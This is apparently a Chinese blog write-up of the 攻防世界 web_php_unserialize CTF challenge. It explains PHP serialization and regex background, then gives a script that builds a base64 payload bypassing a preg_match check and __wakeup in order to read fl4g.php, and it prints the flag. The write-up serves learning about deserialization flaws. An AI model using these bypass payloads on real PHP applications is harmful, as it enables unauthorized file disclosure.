攻防世界web_php_unserialize题解

攻防世界web_php_unserialize题解

前置知识

正则表达式

/[oc]就是正则表达式的意思
\d:  匹配一个数字字符。等价于 [0-9]。
+:  匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。
/i:  表示匹配的时候不区分大小写

preg_match函数

参考:https://www.runoob.com/php/php-preg_match.html
preg_match 函数用于执行一个正则表达式匹配。

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )

$pattern: 要搜索的模式,字符串形式。
$subject: 输入字符串。
$matches: 如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
$flags:flags 可以被设置为以下标记值:
1.PREG_OFFSET_CAPTURE: 如果传递了这个标记,对于每一个出现的匹配返回时会附加字符串偏移量(相对于目标字符串的)。 注意:这会改变填充到matches参数的数组,使其每个元素成为一个由 第0个元素是匹配到的字符串,第1个元素是该匹配字符串 在目标字符串subject中的偏移量。
2.offset: 通常,搜索从目标字符串的开始位置开始。可选参数 offset 用于 指定从目标字符串的某个未知开始搜索(单位是字节)。
preg_match的返回值为0(未匹配)或1。
一般来说preg_match('/[oc]:\d+:/i', $var)是用来检查是否被序列化的,一般的绕过方法是在第一个数字前加一个'+',具体原因参考:https://www.phpbug.cn/archives/32.html

不同修饰符序列化后的值差异

访问控制修饰符的不同,序列化后属性的长度和属性值会有所不同,如下所示:
public属性被序列化的时候属性值会变成属性名
protected属性被序列化的时候属性值会变成\x00*\x00属性名
private属性被序列化的时候属性值会变成\x00类名\x00属性名
其中:\x00表示空字符,但是还是占用一个字符位置
特别注意的是,因为浏览器会自动解码\x00,但实际base64编码是需要加上\x00的,所以最后这个base64编码需要使用php函数才有效(简单来说都在php环境中使用)

wakeup绕过

https://www.cnblogs.com/king-kb/p/15647685.html 的unserialize3中的题解有讲

题目详解

进入题目环境,看到源码

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

先分析主函数部分

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 

isset检查是否输入var,然后对var进行base64解码。
preg_match进行正则表达式匹配。
全部绕过后会对var进行一次反序列化(会调用__wakeup)。
接下来分析类

class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

定义了一个private属性变量,分析__wakeup发现它强制将file的值改为index.php同时告知我们flag在fl4g.php中。
明确目标:1、绕过base64解码。2、绕过preg_match的正则匹配。3、绕过__wakeup方法。
写一个脚本

<?php
class Demo 
{ 
    private $file = 'fl4g.php';
}
$a=serialize(new Demo);
echo $a;
$a=str_replace('1:', '2:', $a);
echo $a;
$a=str_replace('4:', '+4:', $a);
echo $a;
$a=base64_encode($a);
echo $a;
?>

运行结果

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

最后得到flag。

$flag="ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}";

仍存在的一些问题

在数字前加+绕过preg_match判断

在这篇博客中https://www.phpbug.cn/archives/32.html 有提到

yy17: 
        yych = *++YYCURSOR; 
        if (yybm[0+yych] & 128) { 
                goto yy20; 
        } 
        if (yych == '+') goto yy19; 
yy19: 
        yych = *++YYCURSOR; 
        if (yybm[0+yych] & 128) { 
                goto yy20; 
        } 
        goto yy18;

大致意思为,如果判断下一位字符是数字就goto yy20,如果是’+'就goto yy19,yy19则是对下一位字符的判断,如果下一位字符是数字,则继续goto yy20,如果不是则直接退出,那么

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

第二个式子的+不应该会被绕过吗?是如何实现的终止判断?

private属性的序列化

private属性序列化后在其属性名前后会多出/x00,这个东西会自动被网站过滤掉不显示,那为什么不能在base64加密前手模上去呢?(试了试,没成功)

posted @ 2022-01-03 20:01  king_kb  阅读(109)  评论(0编辑  收藏  举报